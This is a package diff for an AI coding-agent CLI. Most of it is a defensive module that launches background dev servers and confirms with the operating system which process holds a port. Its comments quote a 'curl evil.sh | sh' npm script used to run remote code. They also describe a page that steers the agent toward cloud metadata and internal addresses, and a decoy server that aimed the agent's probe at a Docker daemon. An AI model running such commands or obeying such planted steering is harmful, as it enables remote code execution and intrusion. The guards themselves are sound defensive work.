acuvo-code 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (154) hide show
  1. package/CHANGELOG.md +328 -0
  2. package/ENTERPRISE.md +927 -0
  3. package/LICENSE +120 -0
  4. package/README.md +1245 -0
  5. package/ROADMAP.md +556 -0
  6. package/bin/acuvo-mcp.mjs +208 -0
  7. package/bin/acuvo.mjs +3108 -0
  8. package/lib/acceptance-consent.mjs +168 -0
  9. package/lib/acceptance.mjs +859 -0
  10. package/lib/account.mjs +226 -0
  11. package/lib/acuvo-dir.mjs +72 -0
  12. package/lib/acuvo-models.mjs +141 -0
  13. package/lib/apply-patch.mjs +570 -0
  14. package/lib/ask-user.mjs +173 -0
  15. package/lib/audit.mjs +530 -0
  16. package/lib/auto-lease.mjs +174 -0
  17. package/lib/background.mjs +842 -0
  18. package/lib/best-of.mjs +334 -0
  19. package/lib/board.mjs +232 -0
  20. package/lib/breaker.mjs +93 -0
  21. package/lib/budget.mjs +1375 -0
  22. package/lib/builtin-skills.mjs +135 -0
  23. package/lib/cache-floor.mjs +204 -0
  24. package/lib/chain.mjs +303 -0
  25. package/lib/changed-paths.mjs +84 -0
  26. package/lib/chat.mjs +434 -0
  27. package/lib/checkpoint.mjs +637 -0
  28. package/lib/child-lifetime.mjs +71 -0
  29. package/lib/cli-args.mjs +1255 -0
  30. package/lib/code-review.mjs +1382 -0
  31. package/lib/colour.mjs +82 -0
  32. package/lib/command.mjs +2847 -0
  33. package/lib/compact.mjs +1151 -0
  34. package/lib/completion.mjs +515 -0
  35. package/lib/creative-engines.mjs +779 -0
  36. package/lib/db-inspect.mjs +1624 -0
  37. package/lib/delete.mjs +111 -0
  38. package/lib/design-loop.mjs +570 -0
  39. package/lib/diff-preview.mjs +1044 -0
  40. package/lib/doctor.mjs +2139 -0
  41. package/lib/dropped.mjs +216 -0
  42. package/lib/edit-diagnostics.mjs +277 -0
  43. package/lib/edit.mjs +460 -0
  44. package/lib/env-file.mjs +250 -0
  45. package/lib/escalate.mjs +702 -0
  46. package/lib/evaluate.mjs +284 -0
  47. package/lib/fetch-text.mjs +952 -0
  48. package/lib/fleet-budget.mjs +256 -0
  49. package/lib/gh.mjs +1536 -0
  50. package/lib/git.mjs +1341 -0
  51. package/lib/github.mjs +261 -0
  52. package/lib/h2.mjs +194 -0
  53. package/lib/handoff.mjs +417 -0
  54. package/lib/hooks.mjs +626 -0
  55. package/lib/http-probe.mjs +907 -0
  56. package/lib/image-director.mjs +322 -0
  57. package/lib/image-edit.mjs +522 -0
  58. package/lib/imagegen.mjs +998 -0
  59. package/lib/interrupt.mjs +234 -0
  60. package/lib/learned.mjs +353 -0
  61. package/lib/lease-watch.mjs +115 -0
  62. package/lib/lease.mjs +868 -0
  63. package/lib/localize.mjs +834 -0
  64. package/lib/log-tail.mjs +1052 -0
  65. package/lib/login.mjs +157 -0
  66. package/lib/lsp.mjs +1613 -0
  67. package/lib/mcp-consent.mjs +377 -0
  68. package/lib/mcp-defaults.mjs +780 -0
  69. package/lib/mcp-server.mjs +1343 -0
  70. package/lib/mcp.mjs +1263 -0
  71. package/lib/media.mjs +1283 -0
  72. package/lib/memory-workspace.mjs +179 -0
  73. package/lib/model-json.mjs +132 -0
  74. package/lib/model-tier.mjs +171 -0
  75. package/lib/model.mjs +1445 -0
  76. package/lib/parallel.mjs +144 -0
  77. package/lib/perchance.mjs +210 -0
  78. package/lib/plan-coherence.mjs +1461 -0
  79. package/lib/plan-ledger.mjs +981 -0
  80. package/lib/plan.mjs +461 -0
  81. package/lib/policy.mjs +783 -0
  82. package/lib/prefix-order.mjs +38 -0
  83. package/lib/project-memory.mjs +127 -0
  84. package/lib/prompt.mjs +109 -0
  85. package/lib/python.mjs +862 -0
  86. package/lib/rcfile.mjs +853 -0
  87. package/lib/read-window.mjs +743 -0
  88. package/lib/refute-tools.mjs +34 -0
  89. package/lib/refute.mjs +806 -0
  90. package/lib/repl-driver.mjs +264 -0
  91. package/lib/repl.mjs +324 -0
  92. package/lib/replay.mjs +1218 -0
  93. package/lib/repo-map.mjs +1101 -0
  94. package/lib/report.mjs +419 -0
  95. package/lib/search-rank.mjs +99 -0
  96. package/lib/search.mjs +659 -0
  97. package/lib/secret-paths.mjs +54 -0
  98. package/lib/session.mjs +1017 -0
  99. package/lib/skills.mjs +703 -0
  100. package/lib/slash.mjs +356 -0
  101. package/lib/spawn-argv.mjs +1151 -0
  102. package/lib/spend.mjs +250 -0
  103. package/lib/steer.mjs +280 -0
  104. package/lib/stream.mjs +253 -0
  105. package/lib/stuck.mjs +712 -0
  106. package/lib/subagent.mjs +749 -0
  107. package/lib/terminal-graphics.mjs +171 -0
  108. package/lib/tool-prefix.mjs +226 -0
  109. package/lib/tool-shortlist.mjs +162 -0
  110. package/lib/tools.mjs +2333 -0
  111. package/lib/tsserver.mjs +423 -0
  112. package/lib/turn.mjs +5672 -0
  113. package/lib/untrusted-block.mjs +271 -0
  114. package/lib/verify-claim.mjs +299 -0
  115. package/lib/vision.mjs +330 -0
  116. package/lib/voice-task.mjs +561 -0
  117. package/lib/warm-provider.mjs +255 -0
  118. package/lib/websearch.mjs +401 -0
  119. package/lib/workspace.mjs +928 -0
  120. package/lib/write-approval.mjs +235 -0
  121. package/lib/write-many.mjs +162 -0
  122. package/package.json +62 -0
  123. package/scripts/bundle.mjs +768 -0
  124. package/scripts/cache-floor.mjs +176 -0
  125. package/scripts/machine.mjs +226 -0
  126. package/scripts/test.mjs +139 -0
  127. package/skills/accessibility.md +87 -0
  128. package/skills/acuvo-design-system.md +123 -0
  129. package/skills/animation.md +84 -0
  130. package/skills/api-design.md +82 -0
  131. package/skills/auth-and-sessions.md +78 -0
  132. package/skills/build-with-a-framework.md +101 -0
  133. package/skills/colour-and-contrast.md +112 -0
  134. package/skills/creative-engines.md +81 -0
  135. package/skills/css-layout.md +85 -0
  136. package/skills/data-and-charts.md +77 -0
  137. package/skills/debugging.md +76 -0
  138. package/skills/designing-by-looking.md +84 -0
  139. package/skills/error-handling.md +78 -0
  140. package/skills/forms-and-validation.md +93 -0
  141. package/skills/nextjs-app-router.md +75 -0
  142. package/skills/page-composition.md +103 -0
  143. package/skills/performance.md +77 -0
  144. package/skills/plan-before-building.md +52 -0
  145. package/skills/planning-and-delegating.md +72 -0
  146. package/skills/refactoring.md +70 -0
  147. package/skills/security-basics.md +76 -0
  148. package/skills/state-management.md +73 -0
  149. package/skills/supabase-multitenant.md +72 -0
  150. package/skills/typescript-strict.md +90 -0
  151. package/skills/typography.md +135 -0
  152. package/skills/verify-your-own-work.md +62 -0
  153. package/skills/web-app-quality.md +62 -0
  154. package/skills/working-in-the-background.md +64 -0
@@ -0,0 +1,842 @@
1
+ /**
2
+ * ── ⭐⭐ THE CLI COULD RUN THINGS THAT FINISH. NOTHING THAT KEEPS RUNNING ────
3
+ *
4
+ * `run_command` blocks until the process exits and kills it at a timeout. That
5
+ * is correct for `npm test` and it makes an entire class of work impossible:
6
+ * **you cannot start a dev server.** Not slow — impossible. So the agent could
7
+ * write a Next.js app and never once see it serve a request, which is the gap
8
+ * between "generates a page" and "builds a thing that runs".
9
+ *
10
+ * ⚠️ AND `fetch_url` CANNOT REACH IT EITHER. `fetch-text.mjs` refuses loopback
11
+ * and private addresses, deliberately and correctly — that guard exists so a
12
+ * page the model was told to read cannot talk it into fetching `169.254.169.254`
13
+ * or an internal admin panel. Relaxing it would trade a real security property
14
+ * for a convenience.
15
+ *
16
+ * ⭐ SO THE PROBE LIVES HERE INSTEAD, AND IS SAFE FOR A DIFFERENT REASON: it
17
+ * only ever connects to **a port this module started itself**, on loopback.
18
+ * Not "loopback is allowed now" — "this specific port, because we launched the
19
+ * thing listening on it". A capability the model cannot aim anywhere else.
20
+ *
21
+ * ⚠️⚠️ THAT SENTENCE WAS A LIE UNTIL 2026-08-15, and it is worth reading twice
22
+ * because it is the shape of the mistake, not just the mistake. The port was
23
+ * "discovered from that process's own output" — so the thing being defended
24
+ * against was supplying the number. An adversarial pass proved it end to end: a
25
+ * decoy printed `"Docker daemon on port 2375"` while binding something else,
26
+ * and the probe went to the real Docker daemon. `verifyPortOwner` now asks the
27
+ * OS who holds the port before anything opens a socket. ⭐ The guard existed,
28
+ * was documented, was tested, and was checking a fact the attacker controlled.
29
+ *
30
+ * ── ⚠️⚠️ ORPHANS ARE THE FAILURE MODE, AND THIS REPO HAS ALREADY PAID ───────
31
+ *
32
+ * `command.mjs` records it: `npm test` left pid 13128 running with its parent
33
+ * already gone — a true orphan, until reboot, on the owner's personal laptop.
34
+ * A BACKGROUND process is that same shape by definition, so:
35
+ *
36
+ * 1. every process is registered the moment it spawns, before anything can throw;
37
+ * 2. `process.once('exit')` plus SIGINT/SIGTERM/SIGBREAK kill the whole registry
38
+ * — the pattern `lsp.mjs:507` already uses, because 'exit' does NOT fire on a
39
+ * signal and a Ctrl-C that leaves three dev servers running is the bug;
40
+ * 3. the killer is `killProcessTree` IMPORTED from `command.mjs`, never a second
41
+ * copy — the Windows `taskkill /T` and POSIX negative-pid branches are both
42
+ * non-obvious and both were learned from a real orphan.
43
+ *
44
+ * ── ⚠️ AND IT IS THE SAME ALLOWLIST ────────────────────────────────────────
45
+ *
46
+ * This does not get its own permission model. `--no-run` withholds it, a dry run
47
+ * refuses it, and the command goes through `validateCommand` exactly as
48
+ * `run_command` does. A second door with weaker locks is how `--no-run` becomes
49
+ * a lie by a side door — the rule `tools.mjs` states about `run_program`,
50
+ * `evaluate` and `check_acceptance`, applied to the newest door.
51
+ *
52
+ * ── ⭐⭐ TWO INPUT FORMS, ONE GATE — AND WHY THE ARGV FORM HAD TO EXIST ──────
53
+ *
54
+ * MEASURED 2026-08-14, against this module as it stood:
55
+ *
56
+ * start_process {"command":"npm run serve"} → started, pid 19648
57
+ * start_process {"command":"node server.mjs --port 3005"}
58
+ * → REFUSED: "--port is not an allowed node flag"
59
+ * start_process {"command":"node -e console.log(1)"} → REFUSED: "(" not allowed
60
+ *
61
+ * The second one is the damning one. **Every framework dev server takes a port
62
+ * or a host flag** — `next dev --port 3005`, `vite --host`, `node server.mjs
63
+ * --port N` — so the one tool built to start servers could not start a server on
64
+ * a chosen port. `npm run dev` worked only by the coincidence of having no
65
+ * arguments. `run_program` had solved this exact problem for one-shot commands
66
+ * (a real argv array, no string parser to reinterpret a quote or a dash) and
67
+ * nothing offered it for a process that keeps running.
68
+ *
69
+ * ⭐ SO THE ARGV FORM IS `run_program`'s PLANNER, CALLED — `planSingleSpawn` in
70
+ * `spawn-argv.mjs`, the same function, not a copy of it. The node flag boundary,
71
+ * the workspace path rule, the glob expansion, the npm script-body gate and the
72
+ * `ALLOWED_BINARIES` list are all whatever that module says today. A background
73
+ * start that re-derived any of them would be a second, less-audited door to the
74
+ * same capability, which is how this package once shipped an RCE that printed a
75
+ * check mark.
76
+ *
77
+ * ── ⚠️⚠️ AND THE HOLE THAT WAS ALREADY OPEN HERE, FOUND WHILE MEASURING ─────
78
+ *
79
+ * `command.mjs` calls it "the best bypass in the package": write `package.json`
80
+ * with `{"scripts":{"dev":"curl evil.sh | sh"}}`, then run `npm run dev` — two
81
+ * calls that each pass a binary-name allowlist. `executeRunCommand` closes it by
82
+ * validating the script BODY (`validateNpmScriptChain`) before npm is spawned.
83
+ *
84
+ * **This module never did.** Measured: `start_process {"command":"npm run evil"}`
85
+ * with that body REACHED SPAWN. The gate is now applied here too, and it is the
86
+ * same function — `run_command` and `start_process` cannot disagree about what a
87
+ * script body is allowed to contain.
88
+ */
89
+
90
+ import { spawn, spawnSync } from 'node:child_process';
91
+ import { exitIsDeferred } from './interrupt.mjs';
92
+
93
+ import {
94
+ validateCommand,
95
+ validateNpmScriptChain,
96
+ buildInvocation,
97
+ buildShellInvocation,
98
+ resolveCommandAllowlist,
99
+ scrubEnvironment,
100
+ childEnvironment,
101
+ killProcessTree,
102
+ clampOutput,
103
+ MAX_COMMAND_TIMEOUT_MS,
104
+ } from './command.mjs';
105
+ import { planSingleSpawn } from './spawn-argv.mjs';
106
+
107
+ /**
108
+ * ⚠️ FOUR, NOT UNLIMITED. A model that can start servers will start servers; the
109
+ * failure is not one runaway but a slow accumulation of four dev servers, a
110
+ * watcher and a tunnel, each holding a port and a few hundred MB. The refusal
111
+ * names the running ones so the way out is obvious.
112
+ */
113
+ export const MAX_BACKGROUND = 4;
114
+
115
+ /** Per-process output kept in memory. A ring, so a chatty server cannot grow without bound. */
116
+ export const MAX_LOG_CHARS = 16_000;
117
+
118
+ /** How long `check_process` will wait for the port probe before answering without it. */
119
+ export const PROBE_TIMEOUT_MS = 2_000;
120
+
121
+ /**
122
+ * How long to wait for `netstat`/`lsof`/`ps` to say who owns a port.
123
+ *
124
+ * ⚠️ Generous on purpose: on Windows `netstat -ano` on a busy machine is not
125
+ * instant, and a timeout here does NOT fall back to trusting the process — it
126
+ * refuses to probe. So a mean timeout costs a working feature, not a hole.
127
+ */
128
+ export const PORT_OWNER_TIMEOUT_MS = 5_000;
129
+
130
+ /**
131
+ * ⭐ HOW A PORT IS DISCOVERED: from what the process SAYS, not from a guess.
132
+ * Every dev server prints its URL — that line is the contract, and reading it
133
+ * beats assuming 3000 (which is wrong the moment two servers run, and Next.js
134
+ * itself silently moves to 3001).
135
+ *
136
+ * ⚠️ ORDER MATTERS: a full URL is matched before a bare `:port`, or
137
+ * `http://localhost:3000` would yield the port from the wrong pattern half the
138
+ * time depending on which ran first.
139
+ */
140
+ export const PORT_PATTERNS = Object.freeze([
141
+ /https?:\/\/(?:localhost|127\.0\.0\.1|0\.0\.0\.0|\[::1\]):(\d{2,5})/i,
142
+ /\blistening\b[^\n]*?\bport\b\D{0,10}(\d{2,5})/i,
143
+ /\bport\b\D{0,10}(\d{2,5})/i,
144
+ /(?:^|\s):(\d{4,5})\b/,
145
+ ]);
146
+
147
+ /**
148
+ * The live registry. Module-level on purpose: the exit hooks below must be able
149
+ * to reach every process regardless of which session started it, and a session
150
+ * that throws must not be able to take the registry down with it.
151
+ * @type {Map<string, object>}
152
+ */
153
+ const live = new Map();
154
+ let counter = 0;
155
+
156
+ /** Kill everything, best effort, never throwing. The one function the hooks call. */
157
+ export function stopAllBackground() {
158
+ for (const rec of [...live.values()]) {
159
+ try { killProcessTree(rec.child); } catch { /* already gone */ }
160
+ rec.running = false;
161
+ }
162
+ live.clear();
163
+ }
164
+
165
+ /**
166
+ * ⚠️ REGISTERED ONCE, AT MODULE LOAD, AND NOT INSIDE A SESSION. `turn.mjs`
167
+ * documents why: registering inside the run means a second run adds a second
168
+ * listener, and 'exit' does not fire on a signal at all. Both hooks are needed —
169
+ * neither covers the other.
170
+ */
171
+ let hooked = false;
172
+ function installExitHooks() {
173
+ if (hooked) return;
174
+ hooked = true;
175
+ process.once('exit', stopAllBackground);
176
+ for (const [sig, code] of [['SIGINT', 130], ['SIGTERM', 143], ['SIGBREAK', 149]]) {
177
+ try {
178
+ process.once(sig, () => {
179
+ stopAllBackground();
180
+ // ⚠️ Cleanup ALWAYS runs; only the exit is deferrable. A first Ctrl-C
181
+ // asks the run to stop at its round boundary — see lib/interrupt.mjs —
182
+ // but the children this module owns are reaped either way, because a
183
+ // deferred exit is not a reason to leave a process tree behind.
184
+ if (!exitIsDeferred()) process.exit(code);
185
+ });
186
+ } catch { /* SIGBREAK does not exist off Windows */ }
187
+ }
188
+ }
189
+
190
+ /** Append to a process's ring buffer. */
191
+ function record(rec, chunk) {
192
+ rec.log += chunk;
193
+ if (rec.log.length > MAX_LOG_CHARS) {
194
+ rec.truncated = true;
195
+ rec.log = rec.log.slice(-MAX_LOG_CHARS);
196
+ }
197
+ if (rec.port === null) rec.port = detectPort(rec.log);
198
+ }
199
+
200
+ /**
201
+ * ── ⚠️⚠️ THE PORT A PROCESS **CLAIMED**. NOT A PORT WE KNOW IT HOLDS ────────
202
+ *
203
+ * The comment here used to read: *"Exported because 'we only probe a port we
204
+ * started' is a security claim, and it is only true if this is testable."*
205
+ * The claim was **false**, and no amount of testing this function could have
206
+ * shown it — the function is correct; its INPUT is the problem.
207
+ *
208
+ * This reads the child's own STDOUT. A repository somebody cloned decides what
209
+ * its `npm run dev` prints, so a repository decides this number. Proven end to
210
+ * end by an adversarial pass: a decoy server bound one port while printing
211
+ * `"Docker daemon on port 2375"`, `listBackground()` duly reported
212
+ * `{"port":2375}`, and a probe was aimed at the real Docker daemon — whose API
213
+ * on 2375 is unauthenticated and will mount the host filesystem into a
214
+ * container. The module header's boast, *"this specific port, because we
215
+ * launched the thing listening on it"*, was the one sentence that was untrue.
216
+ *
217
+ * ⭐ SO THIS RETURNS A CLAIM, AND IT IS NAMED AS ONE. `verifyPortOwner` turns
218
+ * the claim into a fact by asking the OPERATING SYSTEM who is listening. No
219
+ * caller that touches the network may use the claim without that check.
220
+ *
221
+ * @param {string} text
222
+ * @returns {number|null}
223
+ */
224
+ export function detectPort(text) {
225
+ if (typeof text !== 'string' || text === '') return null;
226
+ for (const pattern of PORT_PATTERNS) {
227
+ const m = pattern.exec(text);
228
+ if (!m) continue;
229
+ const port = Number(m[1]);
230
+ // ⚠️ A "port" of 0, 80 or 65536 out of a log line is almost certainly a
231
+ // version number or a byte count. Dev servers live above 1024.
232
+ if (Number.isInteger(port) && port > 1024 && port <= 65535) return port;
233
+ }
234
+ return null;
235
+ }
236
+
237
+ /**
238
+ * ── ⭐⭐ WHO ACTUALLY HOLDS THIS PORT — ASKED OF THE OS, NOT OF THE CHILD ────
239
+ *
240
+ * `detectPort` reads a number the child chose. This asks the kernel which
241
+ * process is listening on it, and answers whether that process is the one this
242
+ * run started.
243
+ *
244
+ * ⚠️ IT DEGRADES TO `verified:false`, NEVER TO `owned:true`. If netstat/lsof is
245
+ * absent, times out, or prints a shape we do not recognise, the answer is "I
246
+ * could not check" — and a caller must treat that as a refusal, exactly as
247
+ * `gateNpmScript` above treats an unreadable `package.json`. "I could not check
248
+ * it" and "it is fine" are different answers and only one of them is honest.
249
+ *
250
+ * ⚠️ AND IT IS NOT ON THE HOT PATH. It spawns a process, so it runs when a port
251
+ * is about to be USED, not on every chunk of output. `record()` still stores the
252
+ * claim; `checkBackground` is where the claim has to become a fact.
253
+ *
254
+ * @param {number} port
255
+ * @param {number|null} pid the process this run started
256
+ * @param {{spawnImpl?: Function, platform?: string, timeoutMs?: number}} [opts]
257
+ * @returns {{owned: boolean, verified: boolean, owner: number|null, why: string}}
258
+ */
259
+ export function verifyPortOwner(port, pid, { spawnImpl = spawnSync, platform = process.platform, timeoutMs = PORT_OWNER_TIMEOUT_MS } = {}) {
260
+ const n = Number(port);
261
+ if (!Number.isInteger(n) || n <= 0 || n > 65535) {
262
+ return { owned: false, verified: true, owner: null, why: `${port} is not a port number` };
263
+ }
264
+ const root = Number(pid);
265
+ if (!Number.isInteger(root) || root <= 0) {
266
+ return { owned: false, verified: false, owner: null, why: 'the process this run started has no pid, so nothing can be matched against it' };
267
+ }
268
+
269
+ const tool = platform === 'win32' ? 'netstat' : 'lsof';
270
+ let out = null;
271
+ try {
272
+ const r = platform === 'win32'
273
+ ? spawnImpl('netstat', ['-ano', '-p', 'TCP'], { encoding: 'utf8', windowsHide: true, timeout: timeoutMs })
274
+ : spawnImpl('lsof', [`-iTCP:${n}`, '-sTCP:LISTEN', '-nP', '-Fp'], { encoding: 'utf8', timeout: timeoutMs });
275
+ if (r && r.status === 0 && typeof r.stdout === 'string') out = r.stdout;
276
+ } catch {
277
+ out = null;
278
+ }
279
+ if (out === null) {
280
+ return {
281
+ owned: false,
282
+ verified: false,
283
+ owner: null,
284
+ why: `could not ask this machine who is listening on ${n} (${tool} did not answer), and the port was read from a process's own output`,
285
+ };
286
+ }
287
+
288
+ const owners = platform === 'win32' ? winListeners(out, n) : posixListeners(out);
289
+ if (owners.length === 0) {
290
+ return { owned: false, verified: true, owner: null, why: `nothing is listening on ${n} yet` };
291
+ }
292
+
293
+ /**
294
+ * ⭐ THE PROCESS WE STARTED, **OR ONE OF ITS DESCENDANTS**. A dev server forks:
295
+ * `npm run dev` spawns node, which spawns the real server, so the listener is
296
+ * usually a grandchild. An exact-pid rule would refuse nearly every real
297
+ * Next.js and Vite server — and a guard that fails correct work gets switched
298
+ * off, which this package calls the worse failure.
299
+ */
300
+ const family = descendantsOf(root, { spawnImpl, platform, timeoutMs });
301
+ const hit = owners.find((o) => o === root || family.has(o));
302
+ if (hit !== undefined) {
303
+ return { owned: true, verified: true, owner: hit, why: `pid ${hit} is listening on ${n} and belongs to the process this run started` };
304
+ }
305
+ return {
306
+ owned: false,
307
+ verified: true,
308
+ owner: owners[0],
309
+ why: `port ${n} belongs to pid ${owners[0]}, which this run did NOT start — the number came from a process's own output, and a repository decides what its dev server prints`,
310
+ };
311
+ }
312
+
313
+ /** LISTENING rows of `netstat -ano`, for one port, as owning pids. */
314
+ function winListeners(text, port) {
315
+ const pids = [];
316
+ for (const line of String(text).split(/\r?\n/)) {
317
+ if (!/\bLISTENING\b/i.test(line)) continue;
318
+ // `TCP 0.0.0.0:3002 0.0.0.0:0 LISTENING 11192` — and the IPv6
319
+ // form `[::]:3002`, whose colons are why the address is matched as a lump
320
+ // and the port taken from the LAST colon rather than by splitting.
321
+ const m = /^\s*TCP\s+(\S+):(\d+)\s+\S+\s+LISTENING\s+(\d+)/i.exec(line);
322
+ if (!m) continue;
323
+ if (Number(m[2]) !== port) continue;
324
+ const pid = Number(m[3]);
325
+ if (Number.isInteger(pid) && !pids.includes(pid)) pids.push(pid);
326
+ }
327
+ return pids;
328
+ }
329
+
330
+ /** `lsof -Fp` prints one `p<pid>` line per owner; the port was in the query. */
331
+ function posixListeners(text) {
332
+ const pids = [];
333
+ for (const line of String(text).split(/\r?\n/)) {
334
+ const m = /^p(\d+)$/.exec(line.trim());
335
+ if (!m) continue;
336
+ const pid = Number(m[1]);
337
+ if (Number.isInteger(pid) && !pids.includes(pid)) pids.push(pid);
338
+ }
339
+ return pids;
340
+ }
341
+
342
+ /**
343
+ * Every descendant pid of `pid`, best effort.
344
+ *
345
+ * ⚠️ BEST EFFORT MEANS SMALLER, NEVER LARGER. If the process table cannot be
346
+ * read the set comes back EMPTY, so `verifyPortOwner` refuses rather than
347
+ * accepts. A guess that widened the family would be a guess that widened the
348
+ * hole, and the whole point of this file today is that the permissive default
349
+ * was the bug.
350
+ */
351
+ export function descendantsOf(pid, { spawnImpl = spawnSync, platform = process.platform, timeoutMs = PORT_OWNER_TIMEOUT_MS } = {}) {
352
+ const family = new Set();
353
+ const root = Number(pid);
354
+ if (!Number.isInteger(root) || root <= 0) return family;
355
+
356
+ /** @type {Array<[number, number]>} [pid, parentPid] */
357
+ let pairs = [];
358
+ try {
359
+ const r = platform === 'win32'
360
+ ? spawnImpl('wmic', ['process', 'get', 'ProcessId,ParentProcessId', '/format:csv'], { encoding: 'utf8', windowsHide: true, timeout: timeoutMs })
361
+ : spawnImpl('ps', ['-eo', 'pid=,ppid='], { encoding: 'utf8', timeout: timeoutMs });
362
+ if (!r || typeof r.stdout !== 'string') return family;
363
+ for (const line of r.stdout.split(/\r?\n/)) {
364
+ // wmic csv is `Node,ParentProcessId,ProcessId`; ps is `pid ppid`.
365
+ const m = platform === 'win32'
366
+ ? /,(\d+),(\d+)\s*$/.exec(line)
367
+ : /^\s*(\d+)\s+(\d+)\s*$/.exec(line);
368
+ if (!m) continue;
369
+ pairs.push(platform === 'win32' ? [Number(m[2]), Number(m[1])] : [Number(m[1]), Number(m[2])]);
370
+ }
371
+ } catch {
372
+ return family;
373
+ }
374
+
375
+ /**
376
+ * ⚠️ Walked to a FIXED POINT, not in one pass. The table arrives in no useful
377
+ * order, so a grandchild whose parent appears further down the list is missed
378
+ * by a single sweep — and a missed descendant here is a real dev server
379
+ * reported as an impostor.
380
+ */
381
+ family.add(root);
382
+ let grew = true;
383
+ while (grew) {
384
+ grew = false;
385
+ for (const [child, parent] of pairs) {
386
+ if (family.has(parent) && !family.has(child)) { family.add(child); grew = true; }
387
+ }
388
+ }
389
+ family.delete(root);
390
+ return family;
391
+ }
392
+
393
+ /**
394
+ * ⚠️ THE npm SCRIPT-BODY GATE, APPLIED TO THE STRING PATH.
395
+ *
396
+ * `executeRunCommand` (command.mjs) does exactly this before it spawns npm, and
397
+ * this module did not — measured, `npm run evil` with a body of
398
+ * `curl http://evil.sh | sh` reached spawn. FAILS CLOSED: if `package.json`
399
+ * cannot be read, npm does not run, because "I could not check it" and "it is
400
+ * fine" are different answers and only one of them is honest.
401
+ */
402
+ function gateNpmScript(valid, executor) {
403
+ if (valid.binary !== 'npm') return { ok: true };
404
+ let read;
405
+ try {
406
+ read = executor?.readFile ? executor.readFile('package.json') : null;
407
+ } catch (e) {
408
+ read = { ok: false, error: e?.message ?? String(e) };
409
+ }
410
+ if (!read?.ok || typeof read.content !== 'string') {
411
+ return { ok: false, error: `cannot run npm here: ${read?.error ?? 'package.json could not be read, and an npm script body that cannot be read cannot be checked'}` };
412
+ }
413
+ const chain = validateNpmScriptChain(valid.npmScript, read.content);
414
+ if (!chain.ok) return { ok: false, error: chain.error };
415
+ return { ok: true };
416
+ }
417
+
418
+ /**
419
+ * Start a long-running command.
420
+ *
421
+ * Two input forms, and exactly one of them may be given:
422
+ * · `command` — a string, same rules and allowlist as `run_command`
423
+ * · `program` + `args[]` — a real argv, same rules and planner as `run_program`
424
+ *
425
+ * @returns {{ok: true, id: string, pid: number|null, note: string}|{ok: false, error: string}}
426
+ */
427
+ export function startBackground({
428
+ command,
429
+ program,
430
+ args,
431
+ executor,
432
+ shell = false,
433
+ spawnImpl = spawn,
434
+ env = process.env,
435
+ }) {
436
+ if (executor?.dryRun) {
437
+ return { ok: false, error: 'this is a --dry-run, so nothing is started (a server writes logs and binds a port, which a dry run promises not to do)' };
438
+ }
439
+
440
+ const hasArgv = program !== undefined && program !== null && program !== '';
441
+ const hasCommand = typeof command === 'string' && command.trim() !== '';
442
+ /**
443
+ * ⚠️ BOTH IS A REFUSAL, NOT A PRECEDENCE RULE. If one silently won, the model
444
+ * would read back a `command` it believes ran while a different argv actually
445
+ * did — and `check_process` would show the winner, so the mistake would look
446
+ * like the tool lying rather than like a malformed call.
447
+ */
448
+ if (hasArgv && hasCommand) {
449
+ return { ok: false, error: 'give either "command" (a string) or "program" + "args" (a real argv), not both. The argv form is the one to use when an argument contains a space, a quote, or a leading dash.' };
450
+ }
451
+ if (!hasArgv && !hasCommand) {
452
+ return { ok: false, error: 'start_process needs something to start: "command" (e.g. "npm run dev"), or "program" + "args" (e.g. program "node", args ["server.mjs","--port","3005"]).' };
453
+ }
454
+
455
+ if (live.size >= MAX_BACKGROUND) {
456
+ const names = [...live.values()].map((r) => `${r.id} (${r.command})`).join(', ');
457
+ return {
458
+ ok: false,
459
+ error: `${MAX_BACKGROUND} background processes are already running: ${names}. `
460
+ + 'Stop one with stop_process before starting another — each holds a port and memory until this run ends.',
461
+ };
462
+ }
463
+
464
+ /**
465
+ * ⚠️ THE SAME PATHS `executeRunCommand` AND `runProgram` USE, AND NONE OF THEM
466
+ * SHARE A VALIDATOR. `command.mjs` states the reason: a validator that
467
+ * sometimes validates is the shape that produces a "safe" mode which quietly
468
+ * is not.
469
+ */
470
+ let invocation;
471
+ /** What the audit line, the cap refusal and `check_process` will show. */
472
+ let label = typeof command === 'string' ? command : '';
473
+ /** The logical argv, present only for the argv form — the receipt that proves
474
+ * `"buy milk"` survived as ONE slot, which is the fact a string can never show. */
475
+ let argv = null;
476
+
477
+ if (hasArgv) {
478
+ /**
479
+ * ⭐ THE ARGV FORM NEEDS NO SHELL AND IS NOT GIVEN ONE, even under `--shell`.
480
+ * There is no string for a shell to reinterpret, so routing it through one
481
+ * would only ADD a parser — strictly more surface for strictly no gain.
482
+ */
483
+ const plan = planSingleSpawn({ root: executor?.root, program, args });
484
+ if (!plan.ok) return { ok: false, error: plan.error };
485
+ invocation = { ok: true, file: plan.file, args: plan.spawnArgs };
486
+ argv = plan.argv;
487
+ label = JSON.stringify(plan.argv);
488
+ } else if (shell) {
489
+ invocation = buildShellInvocation(command);
490
+ if (!invocation.ok) return { ok: false, error: invocation.error };
491
+ } else {
492
+ let allowlist;
493
+ try {
494
+ const configText = executor?.readFile ? (executor.readFile('.acuvo/commands.json')?.content ?? null) : null;
495
+ allowlist = resolveCommandAllowlist({ configText, envValue: env.ACUVO_ALLOW_COMMANDS }).allowlist;
496
+ } catch {
497
+ allowlist = undefined;
498
+ }
499
+ const valid = validateCommand(command, allowlist ? { allowlist } : {});
500
+ if (!valid.ok) return { ok: false, error: valid.error };
501
+ const gated = gateNpmScript(valid, executor);
502
+ if (!gated.ok) return gated;
503
+ invocation = buildInvocation(valid, executor.root);
504
+ if (invocation.ok === false) return { ok: false, error: invocation.error };
505
+ }
506
+
507
+ counter += 1;
508
+ const id = `bg${counter}`;
509
+ const rec = {
510
+ id,
511
+ command: label,
512
+ argv,
513
+ log: '',
514
+ truncated: false,
515
+ port: null,
516
+ /**
517
+ * Has the OS confirmed this process (or a descendant) holds `port`?
518
+ * `null` = not asked yet. Only `true` permits a probe — see
519
+ * `checkBackground`, and `detectPort` for why the claim alone is worthless.
520
+ */
521
+ portOwned: null,
522
+ portOwnerWhy: null,
523
+ portOwnerVerified: null,
524
+ running: true,
525
+ exitCode: null,
526
+ signal: null,
527
+ startedAt: Date.now(),
528
+ child: null,
529
+ };
530
+
531
+ installExitHooks();
532
+ /**
533
+ * ⚠️ REGISTERED BEFORE THE SPAWN CAN THROW. If `spawn` fails after a pid
534
+ * exists but before we record it, that pid is an orphan nothing can reach.
535
+ */
536
+ live.set(id, rec);
537
+
538
+ try {
539
